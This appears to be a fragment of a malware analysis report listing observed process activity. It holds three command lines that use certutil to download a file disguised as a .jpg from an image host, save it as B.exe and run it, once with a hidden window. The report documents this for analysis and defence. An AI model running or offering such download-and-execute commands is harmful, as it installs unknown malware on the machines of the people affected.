Technical Information
- '<SYSTEM32>\cmd.exe' /c certutil -urlcache -split -f ://i.imghippo.com/files/lhuU6173l.jpg %ALLUSERSPROFILE%\B.exe && start %ALLUSERSPROFILE%\B.exe
- '<SYSTEM32>\certutil.exe' -urlcache -split -f ://i.imghippo.com/files/lhuU6173l.jpg %ALLUSERSPROFILE%\B.exe
- '<SYSTEM32>\cmd.exe' /c certutil -urlcache -split -f ://i.imghippo.com/files/lhuU6173l.jpg %ALLUSERSPROFILE%\B.exe && start %ALLUSERSPROFILE%\B.exe' (with hidden window)